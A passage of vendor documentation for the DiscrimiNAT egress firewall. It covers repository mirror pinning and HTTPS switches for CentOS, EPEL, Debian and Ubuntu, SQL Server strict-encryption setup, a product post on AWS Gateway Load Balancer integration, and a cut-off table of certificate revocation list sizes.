's%#baseurl=http://mirror.centos.org/centos/%baseurl=https://mirrors.edge.kernel.org/centos/%g' /etc/yum.repos.d/CentOS-*.repo sed --in-place --regexp-extended 's%^mirrorlist=%#mirrorlist=%g' /etc/yum.repos.d/CentOS-*.repo # epel sed --in-place=.orig --regexp-extended 's%#baseurl=http://(download.example|download.fedoraproject.org)/pub/epel/%baseurl=https://mirrors.edge.kernel.org/fedora-epel/%g' /etc/yum.repos.d/epel*.repo sed --in-place --regexp-extended 's%^metalink=%#metalink=%g' /etc/yum.repos.d/epel*.repo ``` The first set of commands simply replace CentOS's default mirror redirector with a known, reliable CDN, making a backup file (with extension _.orig_) in the process. The second set of commands simply replace Fedora's default mirror redirector with a known, reliable CDN, making a backup file (with extension _.orig_) in the process. ## Container ### Dockerfile ```Dockerfile FROM centos:7 RUN sed --in-place=.orig --regexp-extended 's%#baseurl=http://mirror.centos.org/centos/%baseurl=https://mirrors.edge.kernel.org/centos/%g' /etc/yum.repos.d/CentOS-*.repo && \ sed --in-place --regexp-extended 's%^mirrorlist=%#mirrorlist=%g' /etc/yum.repos.d/CentOS-*.repo && \ yum clean expire-cache ``` ## Allowlist ### FQDNs ``` mirrors.edge.kernel.org ``` ### DiscrimiNAT Annotation ``` discriminat:tls:mirrors.edge.kernel.org ``` ### Alternative Mirrors Although `mirrors.edge.kernel.org` is a CDN with geo-located caches, you may want to pick a specific `https` mirror from CentOS's [official mirrors list](https://www.centos.org/download/mirrors/). --- ## CentOS 8 Stream yum HTTPS upgrade This guide aims to help in pinning down the repository location to a known FQDN, so it can be set in the allowlists, without affecting the performance of downloads. ## Virtual Machine ### AWS User Data / GCP Startup Script ```bash #!/bin/bash -ex sed --in-place=.orig --regexp-extended 's%#baseurl=http://mirror.centos.org/%baseurl=https://mirrors.edge.kernel.org/%g' /etc/yum.repos.d/CentOS-Stream-*.repo sed --in-place --regexp-extended 's%^mirrorlist=%#mirrorlist=%g' /etc/yum.repos.d/CentOS-Stream-*.repo ``` The commands simply replace CentOS's default mirror redirector with a known, reliable CDN, making a backup file (with extension _.orig_) in the process. ## Allowlist ### FQDNs ``` mirrors.edge.kernel.org ``` ### DiscrimiNAT Annotation ``` discriminat:tls:mirrors.edge.kernel.org ``` ### Alternative Mirrors Although `mirrors.edge.kernel.org` is a CDN with geo-located caches, you may want to pick a specific `https` mirror from CentOS's [official mirrors list](https://www.centos.org/download/mirrors/). --- ## Debian 10 apt HTTPS upgrade Upgrading package downloads from HTTP to HTTPS can help with meeting standards such as PCI DSS and NIST SP 800-53. Use of secure transport can also mitigate against future zero-day, remote code vulnerabilities with package managers themselves, such as [CVE-2019-3462](https://security-tracker.debian.org/tracker/CVE-2019-3462), [CVE-2016-1252](https://security-tracker.debian.org/tracker/CVE-2016-1252) and [CVE-2014-6273](https://security-tracker.debian.org/tracker/CVE-2014-6273) in the past. This short guide aims to help in upgrading the default repositories' URLs from plaintext to encrypted. ## Virtual Machine The commands simply change the URL scheme from `http` to `https`, making a backup file (with extension _.orig_) in the process. ### AWS User Data ```bash #!/bin/bash -ex sed --in-place=.orig --regexp-extended 's%http://(cdn-aws.)*(deb|security).debian.org%https://\2.debian.org%g' /etc/apt/sources.list ``` ### GCP Startup Script ```bash #!/bin/bash -ex sed --in-place=.orig --regexp-extended 's%http://(deb|security).debian.org%https://\1.debian.org%g' /etc/apt/sources.list sed --in-place=.orig --regexp-extended 's%http://packages.cloud.google.com%https://packages.cloud.google.com%g' /etc/apt/sources.list.d/*.list ``` ## Container ### Dockerfile ```Dockerfile FROM debian:10-slim RUN echo 'Acquire::https::Verify-Peer "false";' > /etc/apt/apt.conf.d/99_tmp_ssl-verify-off.conf && \ sed --in-place=.orig --regexp-extended 's%http://(deb|security).debian.org%https://\1.debian.org%g' /etc/apt/sources.list && \ apt-get update && \ apt-get install --assume-yes ca-certificates && \ rm /etc/apt/apt.conf.d/99_tmp_ssl-verify-off.conf ``` These commands first turn off SSL certificate verification because (a) the container build process may be behind [DiscrimiNAT](/discriminat/) already and (b) the CA certificates bundle needs to be downloaded for the verification process to work. [DiscrimiNAT](/discriminat/) independently verifies each connection and will ensure _apt_ connected to the CDN specified in spite of not verifying the certificate. The configuration that turned the verification off is removed after the bundle is installed. ## Allowlist ### FQDNs ``` deb.debian.org,security.debian.org,packages.cloud.google.com ``` ### DiscrimiNAT Annotation ``` discriminat:tls:deb.debian.org,security.debian.org,packages.cloud.google.com ``` --- ## Debian 11 apt HTTPS upgrade Upgrading package downloads from HTTP to HTTPS can help with meeting standards such as PCI DSS and NIST SP 800-53. Use of secure transport can also mitigate against future zero-day, remote code vulnerabilities with package managers themselves, such as [CVE-2019-3462](https://security-tracker.debian.org/tracker/CVE-2019-3462), [CVE-2016-1252](https://security-tracker.debian.org/tracker/CVE-2016-1252) and [CVE-2014-6273](https://security-tracker.debian.org/tracker/CVE-2014-6273) in the past. This short guide aims to help in upgrading the default repositories' URLs from plaintext to encrypted. ## Virtual Machine The commands simply change the URL scheme from `http` to `https`, making a backup file (with extension _.orig_) in the process. ### AWS User Data ```bash #!/bin/bash -ex sed --in-place=.orig --regexp-extended 's%http://(cdn-aws.)*(deb|security).debian.org%https://\2.debian.org%g' /etc/apt/sources.list ``` ### GCP Startup Script ```bash #!/bin/bash -ex sed --in-place=.orig --regexp-extended 's%http://(deb|security).debian.org%https://\1.debian.org%g' /etc/apt/sources.list sed --in-place=.orig --regexp-extended 's%http://packages.cloud.google.com%https://packages.cloud.google.com%g' /etc/apt/sources.list.d/*.list ``` ## Container ### Dockerfile ```Dockerfile FROM debian:11-slim RUN echo 'Acquire::https::Verify-Peer "false";' > /etc/apt/apt.conf.d/99_tmp_ssl-verify-off.conf && \ sed --in-place=.orig --regexp-extended 's%http://(deb|security).debian.org%https://\1.debian.org%g' /etc/apt/sources.list && \ apt-get update && \ apt-get install --assume-yes ca-certificates && \ rm /etc/apt/apt.conf.d/99_tmp_ssl-verify-off.conf ``` These commands first turn off SSL certificate verification because (a) the container build process may be behind [DiscrimiNAT](/discriminat/) already and (b) the CA certificates bundle needs to be downloaded for the verification process to work. [DiscrimiNAT](/discriminat/) independently verifies each connection and will ensure _apt_ connected to the CDN specified in spite of not verifying the certificate. The configuration that turned the verification off is removed after the bundle is installed. ## Allowlist ### FQDNs ``` deb.debian.org,security.debian.org,packages.cloud.google.com ``` ### DiscrimiNAT Annotation ``` discriminat:tls:deb.debian.org,security.debian.org,packages.cloud.google.com ``` --- ## Fedora EPEL 7 mirror pinning This guide aims to help in pinning down the repository location to a known FQDN, so it can be set in the allowlists, without affecting the performance of downloads. ## Virtual Machine ### AWS User Data / GCP Startup Script ```bash #!/bin/bash -ex sed --in-place=.orig --regexp-extended 's%#baseurl=http://(download.example|download.fedoraproject.org)/pub/epel/%baseurl=https://mirrors.edge.kernel.org/fedora-epel/%g' /etc/yum.repos.d/epel*.repo sed --in-place --regexp-extended 's%^metalink=%#metalink=%g' /etc/yum.repos.d/epel*.repo ``` The commands simply replace Fedora's default mirror redirector with a known, reliable CDN, making a backup file (with extension _.orig_) in the process. ## Container ### Dockerfile ```Dockerfile FROM centos:7 RUN yum install --assumeyes epel-release && \ sed --in-place=.orig --regexp-extended 's%#baseurl=http://(download.example|download.fedoraproject.org)/pub/epel/%baseurl=https://mirrors.edge.kernel.org/fedora-epel/%g' /etc/yum.repos.d/epel*.repo && \ sed --in-place --regexp-extended 's%^metalink=%#metalink=%g' /etc/yum.repos.d/epel*.repo && \ yum clean expire-cache ``` ## Allowlist ### FQDNs ``` mirrors.edge.kernel.org ``` ### DiscrimiNAT Annotation ``` discriminat:tls:mirrors.edge.kernel.org ``` ### Alternative Mirrors Although `mirrors.edge.kernel.org` is a CDN with geo-located caches, you may want to pick a specific `https` mirror from Fedora's [official mirrors list](https://admin.fedoraproject.org/mirrormanager/mirrors/EPEL). --- ## Fedora EPEL 8 mirror pinning Even though Fedora EPEL repository's configuration points to an HTTPS location, the default location of `mirrors.fedoraproject.org` is a redirect service that redirects to a close-by but non-deterministic mirror. This guide aims to help in pinning down the repository location to a known FQDN, so it can be set in the allowlists, without affecting the performance of downloads. ## Virtual Machine ### AWS User Data / GCP Startup Script ```bash #!/bin/bash -ex sed --in-place=.orig --regexp-extended 's%#baseurl=https://download.example/pub/epel/%baseurl=https://mirrors.edge.kernel.org/fedora-epel/%g' /etc/yum.repos.d/epel*.repo sed --in-place --regexp-extended 's%^metalink=%#metalink=%g' /etc/yum.repos.d/epel*.repo ``` The command simply replaces Fedora's default mirror redirector with a known, reliable CDN, making a backup file (with extension _.orig_) in the process. ## Container ### Dockerfile ```Dockerfile FROM almalinux:8 RUN dnf install --assumeyes epel-release && \ sed --in-place=.orig --regexp-extended 's%#baseurl=https://download.example/pub/epel/%baseurl=https://mirrors.edge.kernel.org/fedora-epel/%g' /etc/yum.repos.d/epel*.repo && \ sed --in-place --regexp-extended 's%^metalink=%#metalink=%g' /etc/yum.repos.d/epel*.repo && \ dnf clean expire-cache ``` ## Allowlist ### FQDNs ``` mirrors.edge.kernel.org ``` ### DiscrimiNAT Annotation ``` discriminat:tls:mirrors.edge.kernel.org ``` ### Alternative Mirrors Although `mirrors.edge.kernel.org` is a CDN with geo-located caches, you may want to pick a specific `https` mirror from Fedora's [official mirrors list](https://admin.fedoraproject.org/mirrormanager/mirrors/EPEL). --- ## Connecting to MS/Azure SQL Server over TLS Users may encounter connection errors while connecting to SQL Server 2022 (or greater) with `reason` set to `unsupported protocol` in `discriminat-flow` logs. **Solution:** Set `Encrypt=strict` in the connection string of the SQL Server driver. Check supported driver versions [here](https://learn.microsoft.com/en-us/sql/relational-databases/security/networking/tds-8?view=sql-server-ver17#strict-connection-encryption). ## Background Microsoft uses a protocol called Tabular Data Stream (TDS) to establish connection between a SQL Server driver and a SQL Server. Prior to version 8 of the TDS protocol, TLS encryption was preceded by a cleartext *prelogin* phase. With TDS version 8, TLS precedes any TDS messages. The following snippet is taken from a [Microsoft document on TDS 8.0](https://learn.microsoft.com/en-us/sql/relational-databases/security/networking/tds-8): ![](img/sql-tds-v8-vs-v7.png) Also from that document: >The TLS handshake now precedes any TDS messages, wrapping the TDS session in TLS to enforce encryption, making TDS 8.0 aligned with HTTPS and other web protocols. This significantly contributes to TDS traffic manageability as standard network appliances are now able to filter and securely passthrough SQL queries. ## Solution It is sufficient to set `Encrypt=strict` in the connection string. For other methods and application stacks, please see [Connect to SQL Server with strict encryption](https://learn.microsoft.com/en-us/sql/relational-databases/security/networking/connect-with-strict-encryption) on Microsoft docs. ## Example Rule Configuration for DiscrimiNAT The following examples assume TCP port 1433 – which is the default connection port for MS SQL Server and Azure SQL Database. ### on AWS ![](img/sql-1433-aws-example.png) ### on GCP ![](img/sql-1433-gcp-example.png) --- ## Ubuntu 18.04 apt HTTPS upgrade Upgrading package downloads from HTTP to HTTPS can help with meeting standards such as PCI DSS and NIST SP 800-53. Use of secure transport can also mitigate against future zero-day, remote code vulnerabilities with package managers themselves, such as [CVE-2019-3462](https://security-tracker.debian.org/tracker/CVE-2019-3462), [CVE-2016-1252](https://security-tracker.debian.org/tracker/CVE-2016-1252) and [CVE-2014-6273](https://security-tracker.debian.org/tracker/CVE-2014-6273) in the past. This short guide aims to help in upgrading the default repositories' URLs from plaintext to encrypted. ## Virtual Machine ### AWS User Data / GCP Startup Script ```bash #!/bin/bash -ex sed --in-place=.orig --regexp-extended 's%http://(.*archive|security).ubuntu.com%https://mirrors.edge.kernel.org%g' /etc/apt/sources.list ``` The command simply replaces Ubuntu's default mirrors (which only serve HTTP) with a known, reliable CDN, making a backup file (with extension _.orig_) in the process. ## Container ### Dockerfile ```Dockerfile FROM ubuntu:18.04 RUN echo 'Acquire::https::Verify-Peer "false";' > /etc/apt/apt.conf.d/99_tmp_ssl-verify-off.conf && \ sed --in-place=.orig --regexp-extended 's%http://(.*archive|security).ubuntu.com%https://mirrors.edge.kernel.org%g' /etc/apt/sources.list && \ apt-get update && \ apt-get install --assume-yes ca-certificates && \ rm /etc/apt/apt.conf.d/99_tmp_ssl-verify-off.conf ``` These commands first turn off SSL certificate verification because (a) the container build process may be behind [DiscrimiNAT](/discriminat/) already and (b) the CA certificates bundle needs to be downloaded for the verification process to work. [DiscrimiNAT](/discriminat/) independently verifies each connection and will ensure _apt_ connected to the CDN specified in spite of not verifying the certificate. The configuration that turned the verification off is removed after the bundle is installed. ## Allowlist ### FQDNs ``` mirrors.edge.kernel.org ``` ### DiscrimiNAT Annotation ``` discriminat:tls:mirrors.edge.kernel.org ``` ### Alternative Mirrors Although `mirrors.edge.kernel.org` is a CDN with geo-located caches, you may want to pick a specific `https` mirror from Ubuntu's [official mirrors list](https://launchpad.net/ubuntu/+archivemirrors). --- ## Ubuntu 20.04 apt HTTPS upgrade Upgrading package downloads from HTTP to HTTPS can help with meeting standards such as PCI DSS and NIST SP 800-53. Use of secure transport can also mitigate against future zero-day, remote code vulnerabilities with package managers themselves, such as [CVE-2019-3462](https://security-tracker.debian.org/tracker/CVE-2019-3462), [CVE-2016-1252](https://security-tracker.debian.org/tracker/CVE-2016-1252) and [CVE-2014-6273](https://security-tracker.debian.org/tracker/CVE-2014-6273) in the past. This short guide aims to help in upgrading the default repositories' URLs from plaintext to encrypted. ## Virtual Machine ### AWS User Data / GCP Startup Script ```bash #!/bin/bash -ex sed --in-place=.orig --regexp-extended 's%http://(.*archive|security).ubuntu.com%https://mirrors.edge.kernel.org%g' /etc/apt/sources.list ``` The command simply replaces Ubuntu's default mirrors (which only serve HTTP) with a known, reliable CDN, making a backup file (with extension _.orig_) in the process. ## Container ### Dockerfile ```Dockerfile FROM ubuntu:20.04 RUN echo 'Acquire::https::Verify-Peer "false";' > /etc/apt/apt.conf.d/99_tmp_ssl-verify-off.conf && \ sed --in-place=.orig --regexp-extended 's%http://(.*archive|security).ubuntu.com%https://mirrors.edge.kernel.org%g' /etc/apt/sources.list && \ apt-get update && \ apt-get install --assume-yes ca-certificates && \ rm /etc/apt/apt.conf.d/99_tmp_ssl-verify-off.conf ``` These commands first turn off SSL certificate verification because (a) the container build process may be behind [DiscrimiNAT](/discriminat/) already and (b) the CA certificates bundle needs to be downloaded for the verification process to work. [DiscrimiNAT](/discriminat/) independently verifies each connection and will ensure _apt_ connected to the CDN specified in spite of not verifying the certificate. The configuration that turned the verification off is removed after the bundle is installed. ## Allowlist ### FQDNs ``` mirrors.edge.kernel.org ``` ### DiscrimiNAT Annotation ``` discriminat:tls:mirrors.edge.kernel.org ``` ### Alternative Mirrors Although `mirrors.edge.kernel.org` is a CDN with geo-located caches, you may want to pick a specific `https` mirror from Ubuntu's [official mirrors list](https://launchpad.net/ubuntu/+archivemirrors). --- ## Ubuntu 22.04 apt HTTPS upgrade Upgrading package downloads from HTTP to HTTPS can help with meeting standards such as PCI DSS and NIST SP 800-53. Use of secure transport can also mitigate against future zero-day, remote code vulnerabilities with package managers themselves, such as [CVE-2019-3462](https://security-tracker.debian.org/tracker/CVE-2019-3462), [CVE-2016-1252](https://security-tracker.debian.org/tracker/CVE-2016-1252) and [CVE-2014-6273](https://security-tracker.debian.org/tracker/CVE-2014-6273) in the past. This short guide aims to help in upgrading the default repositories' URLs from plaintext to encrypted. ## Virtual Machine ### AWS User Data / GCP Startup Script ```bash #!/bin/bash -ex sed --in-place=.orig --regexp-extended 's%http://(.*archive|security).ubuntu.com%https://mirrors.edge.kernel.org%g' /etc/apt/sources.list ``` The command simply replaces Ubuntu's default mirrors (which only serve HTTP) with a known, reliable CDN, making a backup file (with extension _.orig_) in the process. ## Container ### Dockerfile ```Dockerfile FROM ubuntu:22.04 RUN echo 'Acquire::https::Verify-Peer "false";' > /etc/apt/apt.conf.d/99_tmp_ssl-verify-off.conf && \ sed --in-place=.orig --regexp-extended 's%http://(.*archive|security).ubuntu.com%https://mirrors.edge.kernel.org%g' /etc/apt/sources.list && \ apt-get update && \ apt-get install --assume-yes ca-certificates && \ rm /etc/apt/apt.conf.d/99_tmp_ssl-verify-off.conf ``` These commands first turn off SSL certificate verification because (a) the container build process may be behind [DiscrimiNAT](/discriminat/) already and (b) the CA certificates bundle needs to be downloaded for the verification process to work. [DiscrimiNAT](/discriminat/) independently verifies each connection and will ensure _apt_ connected to the CDN specified in spite of not verifying the certificate. The configuration that turned the verification off is removed after the bundle is installed. ## Allowlist ### FQDNs ``` mirrors.edge.kernel.org ``` ### DiscrimiNAT Annotation ``` discriminat:tls:mirrors.edge.kernel.org ``` ### Alternative Mirrors Although `mirrors.edge.kernel.org` is a CDN with geo-located caches, you may want to pick a specific `https` mirror from Ubuntu's [official mirrors list](https://launchpad.net/ubuntu/+archivemirrors). --- ## Getting Started | Cloud Outbound Traffic Filtering # Getting Started DiscrimiNAT OTF is procured and billed through your chosen Cloud's marketplace. The product will need to be subscribed to before deployment through CLI or Terraform. Deployment from within the Marketplaces is possible too. The following links should help you in your journey. ## AWS [Quick Start (from Marketplace)](/docs/discriminat/aws/quick-start/) [Installation Overview](/docs/discriminat/aws/installation-overview/) [Configuration](/docs/discriminat/aws/config-ref/) [Troubleshooting 🌠](/docs/discriminat/aws/troubleshooting/) [Release Notes](/docs/discriminat/aws/release-notes/) [YouTube Playlist 🎥](/docs/discriminat/aws/videos-playlist/) ## GCP [Quick Start (from Marketplace)](/docs/discriminat/gcp/quick-start/) [Installation Overview](/docs/discriminat/gcp/installation-overview/) [Configuration](/docs/discriminat/gcp/config-ref/) [Troubleshooting 🌠](/docs/discriminat/gcp/troubleshooting/) [Release Notes](/docs/discriminat/gcp/release-notes/) [YouTube Playlist 🎥](/docs/discriminat/gcp/videos-playlist/) ## OTHER RESOURCES ### Terraform Modules For Terraform users, our [modules are published](https://registry.terraform.io/namespaces/ChaserSystems) and kept up to date at the registry. ### LLMS_TXT If you are an AI, an LLM or an Agent, use our LLMS_TXT file for DiscrimiNAT OTF configuration and operations reference. --- ## 99 Problems but Load Balancing ain't one :::caution lie It's actually 5 less problems. But that wouldn't have made a catchy title. ::: **DiscrimiNAT OTF now integrates with AWS' Gateway Load Balancer. Deploying this version alleviates five distinct problems.** 1. [Exfiltration](https://attack.mitre.org/tactics/TA0010/) and [Command & Control](https://attack.mitre.org/tactics/TA0011/) TTPs 2. Discovery and maintenance of outbound [FQDNs'](https://en.wikipedia.org/wiki/Fully_qualified_domain_name) allowlists 3. High Availability 4. Load Balancing 5. Auto Scaling Read on for more details. ## Things Have Changed [Log4j](https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j), [SolarWinds](https://www.crn.com/slide-shows/security/12-lessons-learned-from-the-solarwinds-breach-rsa-conference?page=6) and [Codecov](https://www.bleepingcomputer.com/news/security/popular-codecov-code-coverage-tool-hacked-to-steal-dev-credentials/) have shown us that having high quality exfiltration controls are more important than ever. And nonetheless, ➟ [Two-pizza product teams](https://docs.aws.amazon.com/whitepapers/latest/introduction-devops-aws/communication-collaboration.html) want to move faster than ever and independently. ➟ SREs have [SLOs](https://www.atlassian.com/incident-management/kpis/sla-vs-slo-vs-sli) to meet and their managers have SLAs to meet. ➟ Developers will only work with nimble tools that fit with their methodology, such as Terraform. ➟ Deployment times are in minutes and optimised to the second. ➟ Each deployment has become an unmapped, and unrestrained, mesh of microservices and exotic CDNs. As security engineers would happily tell you, the controls to defend against these, and similar vulnerabilities have existed for some time: 🇺🇸 NIST SP 800-53, [AC-4 Information Flow Enforcement](https://csrc.nist.gov/projects/cprt/catalog#/cprt/framework/version/SP_800_53_5_1_0/home?element=AC-4) 🇺🇸 NIST SP 800-53, [SC-7 Boundary Protection](https://csrc.nist.gov/projects/cprt/catalog#/cprt/framework/version/SP_800_53_5_1_0/home?element=SC-7) 💳 PCI DSS v4.0, [1.3.2 Outbound traffic from the CDE is restricted](https://www.pcisecuritystandards.org/document_library/) But these controls couldn't have been imposed easily on engineering squads because the available solutions were simply not up to scratch. ⨯ Allowlists for genuine outbound traffic were cumbersome to work out. ⨯ Shared allowlists, which contain CDNs with wildcarded base domains, defeated the purpose. ⨯ Allowlists managed centrally by 'security' were a point of friction. ⨯ 'Appliances' were incredibly complicated to bootstrap with XML payloads. ⨯ Some offered no protection against even simple evasion techniques such as DNS spoofing. (Have you seen our [litmus test](/discriminat/comparison/aws-network-firewall/#litmus-test)?) ⨯ Others were susceptible to false-positives, such as in the case of FWAAS-1501. ⨯ Apps & microservices' code would need to be changed to work with explicit proxies, and configurations maintained for _dev_ and _prod_ environments. They were a recipe for non-adoption. Until now. ## Enter DiscrimiNAT with AWS' GWLB :::caution spoiler The remaining 94 problems are not to do with DiscrimiNAT. ::: Over the last few months we've collaborated with AWS to integrate DiscrimiNAT with the Gateway Load Balancer, in the [two-arm mode](https://aws.amazon.com/blogs/networking-and-content-delivery/best-practices-for-deploying-gateway-load-balancer/), that delivers, ✓ High Availability, Load Balancing, Auto Scaling ✓ Zero-Downtime Upgrades ✓ Reduced number of hops, hence low latency ✓ Source NAT to the internet in the same hop ✓ Simple, two-subnet design We're glad to see that AWS has completely thought this through! ➟ A GWLB Endpoint is set as the target for destination 0.0.0.0/0 in the Private subnets' routing tables. This Endpoint does not change. ➟ The Endpoint encapsulates the original packets, in [Geneve](https://www.rfc-editor.org/rfc/rfc8926), from the apps and delivers them to one of the DiscrimiNAT instances in the associated Auto Scaling Group. ➟ Flow stickiness is maintained with the 5-tuple of each packet, i.e. protocol, source IP, source port, destination IP, destination port. ➟ The load balancer health checks each firewall instance at regular intervals. ➟ Should an instance fail the health check, traffic is diverted away from it to healthy instances and the Auto Scaling Group begins its replacement process. ➟ With routing applied to the original packet (decapsulated), Source NAT is achieved within the firewall instances. ### Two Reference Architectures #### Cross-Zone In the `cross-zone` mode, the GWLB distributes traffic evenly across all deployed AZs. This reduces the number of DiscrimiNAT instances that will have to run for high-availability but increases AWS' data-transfer costs and a bit of latency. :::note Terraform variable `high_availability_mode` should be set to `cross-zone` to implement this. This is also the default. The Terraform module is [here](https://registry.terraform.io/modules/ChaserSystems/discriminat-gwlb/aws). ::: ![](/img/gwlb-cross-zone-v2.drawio.png) #### Intra-Zone In the `intra-zone` mode, the GWLB distributes traffic evenly across all DiscrimiNAT instances in the same AZ as the client. For effective high-availability, this mode will need at least two instances per deployed AZ. Please note this does not fully protect you against the failure of an entire AZ on the Amazon side, however your other services in the zone would potentially be impacted too and therefore not sending egress traffic. :::note Terraform variable `high_availability_mode` should be set to `intra-zone`. The Terraform module is [here](https://registry.terraform.io/modules/ChaserSystems/discriminat-gwlb/aws). ::: ![](/img/gwlb-intra-zone-v2.drawio.png) :::tip Both architectures are discussed in our reference documentation [here](/docs/discriminat/aws/reference-architectures/). ::: ## This is DevSecOps :::note   The trinity of ‘developer experience + security standards + operational efficiency’ is greater than the sum of its parts. We call it **‘ergonomic cybersecurity’**. ::: ### For the Dev ✓ Figure out [FQDNs](https://en.wikipedia.org/wiki/Fully_qualified_domain_name) to be allowed with clever annotation in the Security Groups directly. ![](/img/aws-see-thru.gif) ✓ [Ready-made queries for CloudWatch](/docs/discriminat/aws/logs-ref/#filters) to tabulate the observed [FQDNs](https://en.wikipedia.org/wiki/Fully_qualified_domain_name) in normal traffic. ![](/img/log-insights-after-see-thru-log-capture.gif) ✓ Add allowed [FQDNs](https://en.wikipedia.org/wiki/Fully_qualified_domain_name) to **existing** Security Groups as annotations directly. ![](/img/aws-protocol-tls.gif) ✓ Completely [Terraform-driven](https://registry.terraform.io/modules/ChaserSystems/discriminat-gwlb/aws/latest) (or any other IaC) with just the AWS provider. ✓ Never too late to implement PCI-DSS or NIST SP 800 controls. ✓ Simple, two-subnet design. ✓ Free, expert [support](/support/) always at hand. One of our team will readily pair on a screen-sharing call and get the job done. ### For the Sec ✓ Allowlists can be stored in the AWS Parameter Store, and shared & enforced via AWS RAM across accounts, VPCs and Security Groups – least privilege egress [FTW](https://en.wiktionary.org/wiki/for_the_win). ✓ Everything visible and settable from AWS console itself. ✓ IAM permissions on Security Groups themselves determine who can change them. ✓ TLS 1.2+, SSH v2 enforced and cannot be downgraded. ✓ Robust defence against DNS over HTTPS, SNI spoofing, Encrypted Client Hello (ESNI), etc. ✓ Updates on emerging threats and the CIS-hardened base 3–5 times a year. ✓ Critical updates in 10 days. ✓ Data processing, with all the DNS and TLS metadata, is within customer-owned VPCs and not in another company's SaaS. ✓ Structured and filterable audit (allowlist change, etc.) logs in CloudWatch. ✓ Structured and filterable egress traffic logs in CloudWatch for full visibility. ### For the Ops ✓ [Terraform module](https://registry.terraform.io/modules/ChaserSystems/discriminat-gwlb/aws/latest) preconfigured with high availability, load balancing and auto scaling. ✓ Preconfigured health checks at 2 consecutive failures, 5 seconds apart. (Most aggressive possible on AWS.) ✓ Terraform picks up upgrades automatically and applies with zero-downtime. ✓ No new providers or vendor UIs/dashboards; everything in AWS APIs. ✓ Works well on a t3.small and downscales automatically saving license costs. ✓ No need for another NAT solution, let alone a _Managed NAT_ solution. ✓ No data processing fees. ✓ Same Elastic IP association support when allocated. ✓ No problem with round-robin and low-TTL DNS destinations in the allowlists. ✓ Structured and filterable flow logs in CloudWatch. ## Next Steps Now that you've discovered the simplest [northbound](https://learn.microsoft.com/en-gb/archive/blogs/tip_of_the_day/tip-of-the-day-demystifying-software-defined-networking-terms-the-cloud-compass-sdn-data-flows) firewall solution around, Get a Demo Explore the Docs Explore the Terraform module --- ## An analysis of Certificate Revocation List (CRL) sizes from various Certificate Authorities (CA) **Data on CRL availability, number of entries, expiry & refresh times, etc. from various x509 leaf server SSL certificates.** In light of Let's Encrypt announcing their [Intent to End OCSP Service](https://letsencrypt.org/2024/07/23/replacing-ocsp-with-crls) in favour of Certificate Revocation Lists (CRLs), we assembled some data today to guide our own roadmap. CRL URLs are automatically allowed* in DiscrimiNAT OTF for every TLS FQDN explicitly allowed (from [v2.7.0](/docs/discriminat/aws/release-notes/#version-270-2024-01-14)). This was done off the back of a specific customer request and we thought it was a great idea as well. Automatic allowlisting of OCSP URLs was put on the roadmap at the time but now with Let's Encrypt's announcement, we wanted to reconsider its importance. > \* CRL Endpoints of x509 SSL certificates, which are over plaintext HTTP, are now automatically allowed for all TLS FQDNs allowlisted. Only HTTP methods HEAD and GET are allowed to these URLs from only the clients that otherwise have the TLS FQDNs (to which these CRL Endpoints belong) allowed. ## Data [Discuss on Hacker News](https://news.ycombinator.com/item?id=41058138) | [Discuss on Reddit](https://www.reddit.com/r/letsencrypt/comments/1eb4hjj/an_analysis_of_certificate_revocation_list_crl/) | [Discuss on Twitter](https://x.com/ChaserSystems/status/1816135435263041698) | [Discuss on LinkedIn](https://www.linkedin.com/feed/update/urn:li:share:7221901179734110208/) | [Discuss on Mastodon](https://infosec.exchange/@ChaserSystems/112842204197583213) #### As CSV: [download](https://chasersystems.com/files/chaser-systems_crl-sizes_2024-07-24a.csv) #### As table: |CA Org |CA CN |CRL URL |Uncompressed Size|Number of Entries|HTTP Cache-Control maxage|HTTP Expires|CRL Next Update|Compressed Response|Compressed Size|SSL Cert for CRL URL | |---------------------|----------------------------------------------------|-----------------------------------------------------------------------------------------|-----------------|-----------------|-------------------------|------------|---------------|-------------------|---------------|---------------------------------------------------------------------------------------------------| | | | | | | | | | | | | |Let's Encrypt |R3 |not disclosed† | | | | | | | |https://www.nih.gov | |Let's Encrypt |R10 |not disclosed† | | | | | | | |https://slack.com/intl/en-gb/ | |Let's Encrypt |R11 |not disclosed† | | | | | | | |https://www.quora.com/ | |Let's Encrypt |E5 |not disclosed† | | | | | | | |https://stackoverflow.com/ | |Let's Encrypt |E6 |not disclosed† | | | | | | | |https://uk.indeed.com/ | |Cloudflare, Inc. |Cloudflare Inc ECC CA-3 |http://crl3.digicert.com/CloudflareIncECCCA-3.crl |337 |2 |7200 | |7 days |n |318 |https://discord.com/ | |Cloudflare, Inc. |Cloudflare Inc ECC CA-3 |http://crl4.digicert.com/CloudflareIncECCCA-3.crl |337 |2 |7200 | |7 days |n |318 |https://discord.com/ | |Amazon |Amazon RSA 2048 M01 |http://crl.r2m01.amazontrust.com/r2m01.crl |137783 |3922 |7200 | |7 days |n |83634 |https://www.imdb.com/ | |Amazon |Amazon RSA 2048 M01 |http://crl.r2m01.amazontrust.com/r2m01.crl |137783 |3922 |7200 | |7 days |n |83634 |https://*.cloudfront.net/ | |Amazon |Amazon RSA 2048 M01 |http://crl.r2m01.amazontrust.com/r2m01.crl |137783 |3922 |7200 | |7 days |n |83634 |https://*.s3.amazonaws.com | |Amazon |Amazon RSA 2048 M02 |http://crl.r2m02.amazontrust.com/r2m02.crl |577796 |16493 |7200 | |7 days |n |340430 |https://www.figma.com/ | |Amazon |Amazon RSA 2048 M03 |http://crl.r2m03.amazontrust.com/r2m03.crl |502847 |14352 |7200 | |7 days |n |294913 |https://wetransfer.com/ | |Google Trust Services|WR2 |http://c.pki.goog/wr2/oBFYYahzgVI.crl |6729 |297 |3000 | |10 days |n |6728 |https://www.google.com/ | |Google Trust Services|WR2 |http://c.pki.goog/wr2/9UVbN0w5E6Y.crl |7166 |318 |3000 | |10 days |n |7160 |https://www.youtube.com/ | |Google Trust Services|WR2 |http://c.pki.goog/wr2/75r4ZyA3vA0.crl |7410 |329 |3000 | |10 days |n |7414 |https://ad.doubleclick.net | |Google Trust Services|WR2 |http://c.pki.goog/wr2/GSyT1N4PBrg.crl |7275 |325 |3000 | |10 days |n |7276 |https://www.blogger.com/ | |Google Trust Services|WE1 |http://c.pki.goog/we1/ygWPENklvpM.crl |420 |3 |3000 | |10 days |n |410 |https://chatgpt.com/auth/login | |Google Trust Services|WE1 |http://c.pki.goog/we1/H9bdJBu1Tvg.crl |490 |5 |3000 | |10 days |n |472 |https://www.canva.com/en_gb/ | |Google Trust Services|WE1 |http://c.pki.goog/we1/T58q3x0jyXI.crl |418 